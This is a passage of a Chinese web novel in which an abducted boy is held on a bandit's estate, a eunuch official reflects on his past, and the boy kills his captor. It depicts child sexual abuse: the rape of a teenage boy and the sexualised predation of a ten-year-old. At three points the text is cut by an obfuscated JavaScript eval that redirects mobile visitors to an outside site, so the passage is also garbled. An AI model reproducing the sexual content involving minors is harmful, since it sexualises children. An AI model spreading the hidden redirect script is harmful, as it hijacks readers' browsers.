可庄子里刘具说一不二的,他们这些人也只能在旁劝劝而已。 黄牙啧了声:“可惜了,看他的造化吧。我尽量劝劝,你们也是,别让三哥喝太多酒。” 刘具若没醉,或许还能想着下次再用给留半条命,可他若喝醉了,必定是往死里折腾的。 孩子还小,还未长成的单薄身躯,是受不住的。 高濯衡听不懂他们在说什么,夏辛原本也是不懂的,但就在几天前,他亲眼看见母亲受辱,那禽兽的背影,和母亲被强制压开的大腿猛然出现在了他脑中,让他立即明白了这些人的话意。 他们不是水寇,他们说着汉话,穿着和他们一样的衣服,可也能干出禽兽不如的事。 夏辛拉住了高濯衡的手,他此前也是这么牵着夏娘和夫人的,可都没能护住。他双眸噙泪,无措的想用自己的性命去抵。 若今日他们两人真的要死在这里,那他也要先下去,给他二爷探路。 高濯衡还在安慰他,小声的问他:“是腿在疼吗?” 夏辛摇头,他望着高濯衡,用口型问:“怎么办?” 高濯衡垂下眸子,他也不知道,他好像做错了事,不该这样不思考就冲出来,可皂雪是哥哥的马… “都是我不好…” 夏辛往队伍后边看,他们已经过了人多的地方,路越来越窄,偶尔有些行人和马匹。 夏辛引着高濯衡的手摸到了他藏在衣服里的短刀,高濯衡也带了刀子,是赵蓉的那一把:“我也带了。” 两人对视后,高濯衡又凑在他耳边道:“别冲动,咱们刚刚被抓上来的时候,我看见是有人跟上了的。” “这马队拉着我们,后边马车上那些袋子里的东西应该也不轻,走的不快。”高濯衡分析道,“稍微跑快点就能跟上,遥哥还有马呢。他们…他们指望着我大哥,若是跟丢了,哥哥回来他们不好交代。” 他看着皂雪:“还有,我想他们肯定也想找到哥哥。” 夏辛:“跟着皂雪?” 高濯衡点头:“嗯,大家都没地儿去,是有我哥在才能将他们拧成一股绳儿。” 如今他们那些人,只有团结起来,才能活下去。 他们有一百多号人,还都是能打的青壮士兵,这样想着,夏辛放松下来不少。 他想,若那禽兽扑上来欺负二爷,他没刀子也要用拳头,用牙,和那禽兽同归于尽。 高濯衡对他道:“千万要沉住气,咱们顺从一些,能拖一时是一时。” 夏辛就是沉不住,傻二爷,人家那是要… 他没法说,也不知道怎么说,只能拉着高濯衡的手干着急,俩人想的不是一件事,高濯衡还交代他:“若要抽刀,咱们俩一起,我不动手,你绝不能动,知道吗?” 骑马的人看他俩抱着交头接耳,又拉着手,一会儿一个又给另一个抹眼泪的,便用马鞭抽车栅栏:“别挨这么近,不许说话!” 黄牙还在一边打趣儿:“怎么?这卷毛儿小杂种是你家童养媳?就差亲一起了。” 高濯衡不理他,但往旁边挪了挪,和夏辛稍稍分开了些,这地方本就不大,就算再分开,肩膀也还是挨着的。 这时又有人问:“四爷,我瞧着这孩子和普通人家的孩子不一样,别是什么富户,官家的孩子吧?” 高濯衡早就换上了大哥给买的普通布衣,可他的言行举止都和市井田埂上长大的孩子有很大不同。 “真没准儿。”黄牙道,“他不是说这马是他哥的嘛,这可是匹好马,若我没看错,这马是西北种,不过不是野马,应是隔了几代,才有这么好的脾性。普通的马,一匹值5-10两银子,这样的,怕是八十两都打不住。” 何止呢,这可是御马。 还算这黄牙有点子见识。 “这…”旁人犹豫道,“万一家里人找来…” “江港上全是晏江逃来的,没点儿能耐和钱,哪能还留住命呢。”黄牙真是个聪明人,“水寇可不管你家当不当官,越是当官的他们杀得越欢,从衙役到按察使,那一溜儿的人头,全在抚州城墙上挂着呢。” 他瞥了一眼高濯衡:“小子,那里头有没有你爹啊?哈哈哈哈哈哈。” 周围人也跟着他一起笑。 高濯衡两人就这样被带着,弯弯绕绕进了山庄,这地方大到过了门,还走了小半个时辰,才到里头的房子。 在半山腰上,连片的屋舍比总督府还要气派。 屋前有拴马的前场,到了后,那些人便拿着刀将他们赶下车。 黄牙走过来,蹲下身子,掐住了高濯衡的脸。左左右右的又看了好几圈,还在孩子的脸上摸了一遍,那细嫩的皮肤比女人都滑嫩。 黄牙道:“你乖些,四爷保你条命。” 高濯衡微微点了点头,身后的夏辛反咬着下唇,他恨得一直在发抖,可也知道这里不是动刀子的地方,他的刀还没拔出来,就会被旁边拿着刀的人砍死。 黄牙也看了眼夏辛,这小卷毛也不错,可跟这最好的一比,就逊色不少,还是个瘸子,看腿脚上那伤和惨白病态的脸色,想来活不长了。 他只当夏辛是被吓得发抖,就没太在意。 他们被赶到墙边站着,庄子里走出些长工,把马车上的物品卸下,高濯衡注意看着,都是些食材、蔬菜,还有酒水,瓷器。 黄牙背手看着,询问左右:“把礼单拿来我再看一遍。” 不过多时就有人拿来张红色的帖子,挺厚的,若全翻开,足有几十页。 黄牙翻看都看了好久,才问“都备着放好了吗?” “都放好了,就等着四爷再去瞧上一遍。” 黄牙叹道:“这给靠山的礼,可不能马虎啊。” 那人也应声道:“知道知道,咱们仔细着呢。这回来的是谁啊?这么大阵仗,这礼也太多了吧,上回京里来的,也没这么大手笔啊。” 黄牙道:“来的是咱们靠山的靠山,宫里御前的人,姓温的。” 那人问:“御前?内廷衙门的?” 黄牙道:“是东厂,我昨日在市舶司见着了,个儿比咱三爷都高,腰上带着刀,一点儿都不像太监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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偏他温寻墨又生的气质不凡,可谓龙章凤姿,颜如冠玉,丰神俊朗。 他出生高,被捧得高,也自视甚高。 于是当他跌下来时,是真的痛。 “这温公公十五岁那年…” “哎呀四爷,十五岁就是公公了?” 一群人哄笑。 黄牙改口道:“是我说错了,十五岁还不是公公,跟咱爷们儿一样,都还带把儿呢。” 在场又是一阵的嘲笑声。 黄牙继续说着:“他十五岁那年,当时是咱们这儿的海港,进贡了两条两米多长的鲔鱼,用成堆的冰,埋着运去的胜京。当今就尝了一口,说自己平日修道,多食素,就分给百官了。还让把另外一条拿去鱼市售卖,得来的钱财,做年节礼分发给捕到那鲔鱼的水手,以奖赏他们在海面上勇猛无畏之功。” “那鱼才抬上鱼市,就围了一堆的人去看。再贵也就是条鱼而已,京城达官显贵那么多,富商们口袋里也有不少银子呢。可没人敢出这个头去露富,于是便有人商量着分着买下。” 黄牙神情不屑:“你说说,那温公子,是不是只会投胎,不会长脑子啊?人人都不去,只有他,被人撺掇了几句后,掏出叠银票就买下了,还是全部。买下还不够,还让人抬着那鱼游街显摆,让厨子分了鱼,见者有份,分完为止。” 他那日花钱买了一条鱼,出尽了风头。 可他温大少爷,又何止出这一次风头,自记事起,他每日都在出风头,他爱热闹,也喜欢被人捧着,哄着。 谁叫他温寻墨就是生就不凡,谁叫他温寻墨就是高人一等,谁叫他温寻墨就算挥金如土,也有挥霍不完的银子。 他过的是神仙日子,皇位给他,他都不多看上一眼。 黄牙道:“这事当晚就传进了宫里。” 39.低头当奴才 家父获罪的消息来得很快,锦衣卫钦提,封了账本,家中所有人都被抓进了监牢中,就连旁支、宗亲都无一幸免。 那么大的家业,浩如烟海的账目,哪有分毫不差的。 自一处小漏洞,越撕越大,成了天大的案子,是搜刮民膏的欺君之罪。 文官们给写的罪状,在朝堂前读了小半个时辰,字字珠玑,仿佛姓温的全是十恶不赦之徒。仿佛他们此前没有拿过温家的好处,没有坐过温家的船,没有用过商船上运来的舶来品,朝廷也从未收到过温家一分一厘的税银那般。 真真假假,全泼向了温寻墨。 接着,男子尽诛,女子没入教坊司,未满十五岁的流放。 温寻墨刚满十五岁,原本是要杀头的。 可温家还有工匠和那么多的船,朝廷需要有个熟悉温家,且有能力的人,去稳住场面,将温家所有的东西,悉数过渡交给朝廷。 没有人比嫡长子更适合做这件事,那话说的好听,是「皇恩浩荡」,是「怜他年幼」,是「惜他之才」,望他「莫效仿父辈」,当「恪守己责,戴罪立功」。 还原谅他以往之跋扈,规训他往后必得谦逊守礼,忠君体民,莫再行差踏错,要以余生赎罪。 船要归市舶司,市舶司属内廷二十四司衙门,是太监当家做主的地方。 他又有罪责,理所当然的被赐了半白。温寻墨挨了一刀,躺了三天,被抬去的海州码头,清点船只。 他受完刑的当日,躺在冷炕上疼得死去活来的时候,收到了母亲、妹妹在教坊司中自尽的消息。 若说他当时没有想寻死,那是骗人的。 一死了之简单,可挨住疼痛和蔑视重新站起来,却难。 那夜冷得温寻墨至今都忘不了,似乎只要闭上眼睛,就能再也不睁开。死了就能解脱了吧,他这么想。 可温家并非全部死绝了,还有工匠,手艺,还有那么多的船,和几代人付出心血的图纸。 如果他死了,那些东西,还会得到传承吗? 或许会有,或许就此遗落,毕竟朝廷想要的是温家的银子和船,并非技艺的传承。 他去了市舶司,差事办的好,几年后去了御前。 短短几字,是无尽的冷嘲热讽和白眼,逐渐温寻墨发现,他越是不男不女,越是把头低下去,把腰弯下去,反而就不会有那么多人针对他了。 光盛帝再次见到他时,温寻墨已经二十岁了。跪伏着身躯,用破锣一样的水鸭嗓子,山呼万岁。就和他身边的那些宦官一模一样,不过是长得好点儿。 太监们长相好的多,尤其是御前伺候的,都挑白嫩干净的来。 可温寻墨的好看,却很不同。 他不刻意装扮,甚至瘦得骨骼突出,加之本就肩宽腿长,骨量高大。那织金袍子穿在他身上,尤为松垮。 这样看着本该是很弱的,但那宽大的骨架又能将衣服完整的撑起来。 就好像是骨头里的那股子劲儿,在支撑着他的整副身体。 透白的脸色,高耸的鼻梁,和薄成一片颜色极淡的唇,转折凌厉的下颌骨,微微凹陷的面颊,还有那双偏细长的凤眸,让他整个人看起来,半人半鬼,又带着点儿飘逸的仙气儿。 光盛帝看着他,也觉这样的人,有那样一个出身,在年少轻狂的年纪,是该自傲些的。 皇帝赞他知错能改,善莫大焉。赞他是个能办事的人,只是当年不懂事时犯过一些小过错,天子胸怀万民,是不会和他计较的。 在市舶司委屈了你,去东厂吧。 他说:“温寻墨,背无需挺那么直,腰也得再弯些,头低下去,才能走得长远。” 于是温寻墨弯着腰,驼着背,低着头当奴才,做了一只被人拴着的狗。 他猜想的没错,朝廷果然没有再拨款造船的想法,市舶司要不了那么多工匠,只能留下一部分。 温家几代人心血凝聚的图纸,躺在他的宝贝箱子里,如今已有十七年了。 而市舶司的那些船,一大半都还是十几年前的老船。 造得太结实耐用,似乎也不用再添新的了。 温家的那些银子,成了天子私产,盖了几处奢华的行宫,重建了两座宫殿,和一座避暑园林。 每一处温寻墨都去过,以温公公的身份。 温寻墨虽离开了市舶司,但他在市舶司这些年,并不是白干的。他行事有条不紊,赏罚分明。行商之处,所收好处必是不少,他从不自专,一分一厘都要分下去,收买人心,再安插自己能信得过的人。 五年下来,不止海州的市舶司,沿海所涉市舶司里,都有他手下的人。 这越州的汪簇,就是他众多干儿子里的一个。 太监喜欢收干儿子,温寻墨是太监,他要按规矩来。 而刘具,则是不知搭上了哪儿的关系,抱上了汪簇的大腿,在外头是刘三爷,关上门,得跪到太监跟前儿,喊干爹,才有如今这耀武扬威的舒坦日子。 干爹得孝敬着,干爹的干爹,那就是干爷爷,更得孝敬。 这不温公公在越州,刘具就抓住机会,将太监们请来自己的山庄,好好招待一番,再送上礼,以保今后还有赌场能开,有黑心银子能赚。 山庄地界隐秘,在席者不只有宦官,原本是要将整个靖江的官场,受汪簇庇护,或有利益往来的官员,全叫来的。 其一是在温寻墨这个大靠山面前露露脸,混个眼熟。 其二,便是找些个由头,吃喝嫖赌一把,好让彼此都给对方留下把柄,把那‘一条船上的一根绳儿’栓得更紧些。 可临了,温寻墨却说抚州在抗击水寇,他只是路过,不宜大肆操办,给叫停了。 可场面不能冷啊,见汪簇犯难的样子,温寻墨便叫他让刘具的那些兄弟们也一起来,大家喝点酒,热闹一番。 故而,这回是汪簇和他手底下的心腹,以及刘具那一派道上兄弟们陪温寻墨喝酒的私宴。 不叫官员来,其实是温寻墨的私心,他有几个十分重要的人,目前没有地方落脚。来时看着山庄不错,正盘算着跟汪簇交代一声,好让他的人在此小住一段时间。 席间,温寻墨坐在正中最高的主位上,听着汪簇读礼单上的东西,有些稍轻便又贵重的,会放在托盘中,由妙龄女子呈上,给温寻墨过目。 体积较大的和整箱的白银,已经由人装车,等着温寻墨的人运走。 温寻墨挺震惊的,水寇都打到门口了,在越州居然还能刮到油。 刘具喊来那些暖场子的弟兄们都搂着各色的妓子、小唱。 就连汪簇都养了两个小情儿,一左一右给斟着酒。 温寻墨知道他在越州捞了不少,天高皇帝远的自己能做主,胆子比原来大了许多。且这人极为迷信起阳方术,谁让太监最在意的就是那残了的东西。 温寻墨之所以还用汪簇,是因为他十分忠心,绝不会对温寻墨说谎,无论大小事务,皆会写信禀报。他不是特别聪明,在温寻墨这儿找到了点当人的样儿,故而只认他一个人。 这些礼不止有刘具的,还有官场上送来的,刘具要的是生意和庇护,官员则是花钱买升迁的机会。 毕竟很多在职无论做多少努力都无法改变的调动,只是上官的一句话而已。 温寻墨将托盘上的羊脂玉貔貅放在手中把玩,那玉料洁白无瑕,触之油润有暖意:“也不是什么重要的职位,跟按察使司打声招呼,且让他去干着吧。” “哟!”汪簇扯着嗓子恭维,笑得夸张,“我替他谢干爹的赏!” 不过多时,有人靠近温寻墨的耳边说了两句话,他脸色没变,依旧是笑着。 却小声吩咐那人道:“先把东西运走,备马。” 那人悄声问:“要让咱们的人上来吗?” 温寻墨有些犹豫,他不想闹得太大。 汪簇知道看眼色,便问:“干爹,这是有什么事吗?” 他放在外头的探子发现了宋遥留下的斥候,这是刚进来时就知道的,他没说出去。 这会儿说是有几百个兵,拿着刀剑往这边来了。温寻墨想,或是那些败兵要来抢富户的粮食,又或者是这刘具得罪了什么人。 东厂干的就是听记和搜集情报,他要去的地方,都会查的清清楚楚。 散兵们… 温寻墨自然联想到了刘具的人,白天时去过岷江的码头。 “刘三爷今日派人去码头,可是买了什么东西?”温寻墨问。 刘具喝了不少,这会儿正酒气上头飘着呢,没了先前的拘谨,回话时还打了个酒嗝儿:“不敢当不敢当,孙子怎能担您这句三爷呢。您叫我小名儿三娃就成。” 他比温寻墨还大上几岁,这爷爷叫的却一点都不含糊。 “回爷爷的话,那现在全是败兵和灾民,我就让兄弟们去看看,在卖儿卖女的灾民那里,买些半大的孩子来当奴仆,给他们口饭吃,免得他们饿死。” 这么说来你倒是积德行善了。 “哦,可有什么特别的?”温寻墨是真的看上这山庄了,若真是散兵来抢劫,他都想留下来帮刘具一把。 几百个散兵,他已掌握先机,若现在下令设伏,甚至不用让山下的人上来,都能赢得不费吹灰。 刘具道:“没有啊。” 温寻墨接着问:“有没有抢了别人不卖的东西,或是…人?” 刘具吞了口唾沫,这里在场的弟兄们有知情的,开席前还见到了高濯衡。 那时,老四那家伙把孩子牵上来,挨个给他们展示了一遍,刘具喜欢的不得了,直着眼睛跳着说是天仙下凡了。 当场就想抱着香了两口,这一凑近,孩子身上真还带着股好闻的气味,清清淡淡的,和其他那些一身骚臭的普通货色,完全不同。 高濯衡是被单独带走的,夏辛和其他人被关在了一间空屋里。 刘具扑上来,高濯衡就往后躲。 他颤抖着声音说:“你要干什么?不许再过来了!” 刘具哟了声:“娇娃娃还挺厉害的,我就过来了,你能怎么我?” 高濯衡小步子往后退:“我…我是抚州的官家子,舅舅赵谨是笠安省巡抚,外祖赵绥启官拜正三品礼部侍郎…” 他不敢说父亲,只能说母族。又不敢太过威胁,是商议讨好的口吻:“你若将我放了,待我回家跟外祖说明,自有厚礼酬谢。” 厚礼酬谢如此虚无之物,怎比得上到嘴边的肥肉呢。 就算这小子家真的有人当大官,也绝对想不到他会死在这样的山里,还是被男人/操/死。 “哦?这么大的官呢。”刘具色眯眯的看着高濯衡,“你三爷我,就喜欢玩儿当官人家的宝贝儿。” 他张手就要抱上,高濯衡从后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173470|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰抽出了短刀,他有些发抖,一下划上根本没碰到刘具,反被刘具抢走了刀。 他被刘具拎了起来,背着横放在腿上,刘具在他腰间拍了两下,就把刀柄也抽了出来。 刘具用手肘把高濯衡压在他腿上,双手合上了刀。 “是钢啊。”他抚摸着刀鞘上的宝石道,“你家真是当大官儿的。” 高濯衡没了办法,他哭了,不是故意的,是真的很害怕:“叔叔,你放了我吧,我哥哥会给你很多钱的。求你了…叔叔…” 黄牙在旁边急出了一身的汗,这‘叔叔’两字最能挑起刘具的情/欲。 但凡那好看孩子一叫叔叔,刘具立马禽兽附体。 他掐住高濯衡的脸,把孩子扛上肩,要进后屋,幸好这时,温寻墨和汪簇到了。 刘具只好将高濯衡带上锁,关在了屋里,起身整理了衣服,去厅中迎客。 此时,酒过三巡,听温寻墨问自己有没有抢人,刘具心里泛起了嘀咕。 “我的人说,你的马棚里有一匹玉岱山的御马,哪来的?” “御…御马?爷爷您…别吓孙子了,我这儿怎么可能会有御马呢?” 那样的马一年都出不了几匹,他手下的人绝不会认错。 温寻墨不再多透露,只做不在意的样子:“是啊,你们是不是认错了?” 他手下那干事知晓其意,便道:“可能是小的们看错了,夜里看不清,黑色最高的那匹。” “纯黑的马,挺少见的。”温寻墨笑了两声,“割爱给我吧。” 刘具的状态还是有些懵的,可靠山想要的东西,哪有不给的道理:“诶,诶…好…好嘞!” “你腰上的刀,我进门就瞧见了。”温寻墨又道,“拿来我瞧瞧。” 外表花哨的短刀,大多数是文人佩戴做装饰用的,温寻墨本来并没有特别在意,但他现在正仔细观察着异状,莽夫无故配绣刀,他自然要拿来看看。 一抽出,就看出了是钢材,且是温家工匠的手艺。 钢这种材质在战场上并不常见,因为锻造不易,十分昂贵,故而作战多选用铁器。 钢材对工匠的技艺,淬炼的锅炉,要求非常高。而温家的巨轮龙骨,在其余船只都只用铁或铅时,用的就是钢了。 温家工匠所锻的钢,比普通钢材要轻上一倍,硬度更高。 温氏被抄家后,姓温的死的死,散的散,但工匠们却并非都姓温,他们大多都只是雇佣关系。 温家倒台后,一部分被温寻墨搜罗进了市舶司,一部分自寻出路去了,这其中有些去西北当了军匠,将锻钢的工艺,用在了甲胄和刀枪上。 西北的马、西北的刀,出现在了江南越州的一个土霸王身上,还说他没抢人,谁信呢。 温寻墨在脑中一串连,冷笑了声:“哪儿来的?” 这是在给刘具最后的机会说真话。 可这老小子以己度人,心想着这太监看着马也要,看着刀也要,别到时候看见那小天仙儿,也要了。 马和刀子给了就给了,小天仙儿他想到就忍不住流口水,滋味儿还没尝到嘴呢,人他可一定得藏好了。 这太监看样子是有茶壶嘴儿的,汪簇也是,他跟汪簇养的情儿睡过,带着猎奇的想法套那女人的话,那女人说,吃了药也管用,还说也不是有就一定好,就是太监才活儿才花呢。 刘具淹了酒的脑子一转,说:“就是…码头上随意买的,爷爷您喜欢,就…就拿去吧。” 温寻墨点点头,把短刀挂到了蹀躞上。 他抬手:“大伙继续喝吧。” 这边气氛逐渐恢复,温寻墨等了片刻,起身瞥了眼汪簇,小子灵活,眼珠子一滚,也站起来,跟着温寻墨走了。 刘具在后边问:“爷爷,干爹这是去哪儿啊?” 温寻墨颔首道:“出去吹吹风。” 吹风是文雅说辞,刘具猜他们撒尿去了。太监们要结伴儿撒尿,他这家伙事儿齐全的,可不能跟上去刺激他们,跟他们比谁尿的远,谁鸟儿更大不是。 立马笑脸相送:“孙子等您回来,再开下一坛酒哈。” 温寻墨这边才出门,立即有干事迎上:“督公,人在后间的屋子里,您要去看看吗?” “不了,走吧。” 汪簇问:“干爹怎么了?” “你这干儿子,今日命数该绝,抢了不该抢的人。”温寻墨摩挲着腰间的刀柄,“看这刀,应是讨好女人特制的。想来是个绝色美人,才惹得人家情郎带人来救。” 那干事奇道:“可屋里的是个男孩子。” 温寻墨:“孩子?” “嗯,左不过九、十岁。”干事道,“我掀瓦看着的,被铁链锁在床架上。” 有人来救了,应该不会出什么岔子,可…孩子那么小… 温寻墨鬼使神差的问了句:“孩子…哭了吗?” 干事点头:“可不,但不闹,就坐着抱着腿,往下流泪眼。刘具关人家孩子干什么?” 两人同时看向汪簇。 汪簇犹豫着,小声说:“他好这口。” 温寻墨立马黑了脸,他指了指汪簇的鼻子:“你用这种人?” “这…这不是给钱大方嘛。”汪簇道,“再说了,干他们这行的,能有几个有良心的。” 温寻墨道:“回去再找你算账,在哪儿,带我去看看。” 40.没事了,他死了 温寻墨让汪簇去把马牵了,带着人先走,绕着山下的兵,别和他们碰上。 这庄子守卫很松散,刘具在里边喝酒,底下的喽啰们就在外头的屋子里喝酒。 他们两人往后屋走时,也没人问句去哪儿,估计也是不敢问。 门锁着,却难不倒东厂的番子,蹀躞上有专门的开锁工具,一顶一转锁就开了。 温寻墨抬眼示意那干事上房顶,他则进了屋,顺带关上了门。 高濯衡听见门响,便转头来看。 他想了一堆子说辞,却也知道大约是说不通的,只能一直祈祷哥哥能快点来。 却见来人不是之前那个。 他个子很高,脚步却很轻。 两人对视后,温寻墨似乎明白了刘具为何怎么都不愿意说出他抢了个孩子。 呵,别是怕我也好这口吧… 孩子眨了眨葡萄般的大眼睛,原本已绝望的心燃起了点希望的小火苗,他将脚上和手上的铁锁举高了些:“你是来放我走的吗?” 温寻墨微微歪头打量他:“为何这么问?我或许是来把你带去给刘具的。” “那个留着山羊胡的胖男人叫刘具吗?” 温寻墨点头。 很奇怪,他刚刚开口没有夹着嗓子,他…无意间用了原本的声音。 “你…不是的吧…”孩子有些不自信,“对吗?” 温寻墨道:“为什么这么觉得?” 高濯衡道:“你的衣料和剪裁,比他们的都好,织锦缎面,还掺着金线,我娘亲也很喜欢织锦的料子。” 说完,他试探的加了一句:“你是从京城来的吗?” 温寻墨走上前,半蹲着和孩子对视:“你很聪明,家在哪儿?你母亲是谁?” 高濯衡不敢透露太多,但这人来询问,说明并非全无希望。 “求你放了我吧,我哥哥在找我呢。我…外祖家也住在胜京。”他有意的双目噙泪装可怜。 “这可就不聪明了,假装听不懂,我可就走了。”温寻墨作势要站起来。 “等…等等!”高濯衡抬眸看他,“大哥哥,那个刘具…吃人的,你就救救我吧。” “吃人?” 高濯衡抬头给温寻墨看他的脖子,白细的脖颈上,有一个狰狞的紫色牙印儿。 温寻墨笑了笑,孩子还不懂。但其实他也不太懂,他十五岁还不懂风月情事时,就被用了刑,虽说不算全没了,可人到了家破人亡,只剩自己,还得给仇人当狗的地步,对那方面的事,是没什么追求的。 直到现在高濯衡都还以为刘具会活撕生吞了他。 温寻墨道:“那就回答我的问题。” 高濯衡只好道:“我家在抚州,外祖…赵绥启,母亲赵…赵蓉。” 温寻墨还不至于忘记礼部侍郎的名字,和他那位封疆大吏的女婿。 温寻墨:“高琰是你什么人?” “是家…家父,你知道我父亲吗?”这回是真的哭了,提起父亲他克制不住的伤心,“你见过他吗?你知道他去哪儿了吗?我…我和哥哥…都…都很想他…” 娘亲…死了… 父亲他…还好吗? 温寻墨见那豆大的泪珠,于心不忍道:“他还在京城,如今性命应是无虞。” 高濯衡立马改口叫道:“大哥哥,求你带我走吧!” 这孩子忒会见风使舵讨人欢心,这会儿就叫他大哥哥了。 他若是没挨那一刀,是能生出高濯衡的年纪。 “你叫什么名字?”温寻墨问。 高濯衡道:“高濯衡。” 温寻墨:“雕琢的琢?” 高濯衡:“是濯洗的濯。” 温寻墨哦了声点头道:“濯清涟而不妖啊。” 高濯衡不知他这是何意,只能跟着点头:“嗯。” “高承翊是你大哥?”温寻墨问。 高濯衡心下有不好的预感,三言两语被这人套光了底细,一根链子都没给解开,这不是欺负小孩儿嘛。 温寻墨看这孩子突然委屈起来的样子,忍不住低头笑了笑:“你还太小,偏生了一堆的心眼子,耍滑头却能让人一眼看穿。” 母亲教过他,若是不能完全把人骗住,就不要耍心眼。 他一个十岁稚子,又怎么玩得过在吃人的官场,人精里滚出来的温寻墨。 “不过,你比我那时候,厉害多了。我十五岁,都没有你现在聪明。”温寻墨帮他解开了手上的锁链,“但我不能带你走。” 他算了算时间,山下高承翊带的那些人,半个时辰之内,肯定能到。 他拿出了赵蓉的短刀:“这是你的吗?” 高濯衡点头。 “还给你。”温寻墨道,“路要自己走,事情也要自己看清楚。” 高濯衡拿过刀,可他脚上的锁链还在:“你…什么意思?我…我不懂。” 温寻墨转身往外走,高濯衡跟着,却在锁链绷直后,无助的摔倒了,他伸着手挽留着:“大哥哥!你别走啊!大哥哥!” 他急得大哭,恳求着:“你…回来!带我走吧!我…我真的很害怕!” 温寻墨关上门后,原是打算要走的。毕竟刀已经给了,若这孩子连一个醉汉都不敢捅的话,往后的事肯定也挨不过去,不如今日就死在这里。 且高承翊很快就能到,即使他没能捅死刘具,区区不到半时辰,应该不会那么快就被玩儿死。 可他走了两步后,却借力攀上了房顶。 屋顶上的干事见他上来,疑惑的看着他。 温寻墨道:“你先走吧,我留一会儿。” 干事问:“督公是怕那孩子杀不死刘具?” 温寻墨道:“高家的事,你知道的越少越好。” 干事走后,他一边低低的伏在屋脊后,注意着屋里的情况,一边琢磨着‘濯清涟而不妖’的诗句。 刘具在知道太监们已离开后,就等不及了。 他拎着酒壶往后屋去,却被黄牙叫住了。 黄牙拎着一个男孩儿,要给他。 刘具问:“做什么?” 黄牙道:“三哥你可悠着点儿,小天仙儿那样的可遇不可求,您别给一次玩儿死了,悠着点儿,日子长呢。先来一个泄泄力,压压火气,对小天仙儿疼惜着点儿。” 刘具笑着指了指黄牙:“还是你小子想得周到。” 说着,把那个吓得抖成筛糠的小孩儿扛上了肩。 温寻墨才走不久,刘具就扛着孩子进屋了。 高濯衡把刀子藏在了身后的被子下,又将锁链虚搭在手上,缩去了床角。 他靠着两墙夹出的角,这个位置最适合他抽刀发力。 温寻墨则找了个能看到床角的角度,他觉得有些紧张,手心都在出汗,他居然在为这个孩子担心。 他一个死太监,居然在为一个刚刚认识的孩子担心! 这个孩子,还是高琰的儿子。 为什么? 难道是因为他长得可爱又很聪明? 难道是觉得他命运悲惨,与自己同病相怜? 高琰会有什么下场? 这孩子呢? 罪臣之子,赐宫刑? 温寻墨不禁想,如果这孩子以后也挨那一刀,或许他可以将孩子调放到他身边,护着他。 大哥哥? 呵,也跟着叫干爹吧。 不过…最好不要… 太疼了啊。 也太苦了… 是因为年幼时把快活的日子都过完了吗? 温寻墨你别再想下去了,他总这样告诫自己,糊涂点,日子才能过下去。 人砸在床上,发出一声闷响。 那男孩挣扎着转身,要往外跑,却被刘具抬手打了两个耳光,被扇得眼冒金星,头疼脑胀的,跌回了床上,愣愣的看着头顶的男人,不再说话也不敢动弹了。 高濯衡看那孩子大约十三四岁,挺瘦的,在抽泣中,被扒掉了衣裳。 他在床角,那两人就在他脚边。 哦,原来不是吃人啊… 是…这样的… 好丑,好恶心… 要吐了… 耳边响起了孩子的哭嚎声,还有刘具兴奋的怪叫。 真难听啊。 刘具看着高濯衡淫/笑着,想象着他正压着的,是他漂亮的小天仙儿。 温寻墨看不下去了,他打算破门而入,给这畜生一个结果。 却见高濯衡对刘具勾了个笑。 这孩子居然笑了! 刘具被勾引得也跟着笑,都忘记动作了。 高濯衡说:“叔叔为什么不来亲一亲衡儿呢,是衡儿…不如小哥哥漂亮吗?” 刘具退了出来,他膝行向高濯衡,微弯着身子,从下往上仰视着这个孩子,那光洁的皮肤,好像真的亮着佛光。 原先只看着他哭了,现今瞧着笑,让刘具根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大内? 皇室? 这孩子到底是什么人? 屋里传来刘具惊喜非常的声音:“这是什么啊?金鳞啊!真…真真儿神仙下凡!神仙下凡!” 高濯衡道:“叔叔快点背过去,背我…上天。” “上天?” 高濯衡点头:“嗯,神仙飞去天上咯。” 刘具大笑着转过了身:“对对对!那…那我驮着小天仙儿,飞升成仙儿咯!” 甚至在转身前,从床边的柜子里,拿了钥匙,解开了高濯衡脚上的锁链。他还做着高濯衡把裤子也解了,再骑上他肩膀的美梦呢。 待他完全背转过身去,高濯衡从身后的被子里,拿出了早抽出刀鞘的短刃,他一手背在身后拿刀,一手按住刘具的头,双腿搭上了刘具的肩膀,骑上刘具的肩膀,稳住了身行。 高濯衡坐在刘具的肩膀上,刘具却一点没察觉他拿了刀,就这么高高兴兴的驮着高濯衡,满屋子乱跑,时快时慢的颠着孩子玩儿。 若非他不着寸缕,真像个跟孩子玩的老仆人。 “哈哈哈哈哈,好不好玩?好不好玩?”他呆呆傻傻的,疯癫着。 “嗯,好玩的。”小天仙儿的声音是如此的清脆悦耳。 刘具太沉醉了,他一点没看见床上那孩子惊恐的脸。 高濯衡自下往上抚直了刘具的脖子,被那小嫩手摸着真舒服啊,刘具便顺着抬起头,让他好摸,还心道这孩子也太会勾人了。 而高濯衡则低下头与刘具对视,刘具觉得孩子笑的有那么一些的不对,却来不及了… 嘶…怎么脖子有些凉… 温寻墨这个角度,能看得很清楚。 孩子一手托着刘具的下巴,一手横刀,那是像杀鸡放血的姿势,只不过刘具这只‘鸡 ’很大。 没有温寻墨预想中的搏斗,似乎也不难,高濯衡做的如此轻松,又快又准,那股狠劲儿都冲破房顶,撞温寻墨脸上了。 是有东西上脸,不过上的是高濯衡的脸。 自颈部喷溅而出的鲜血,飞溅出来。 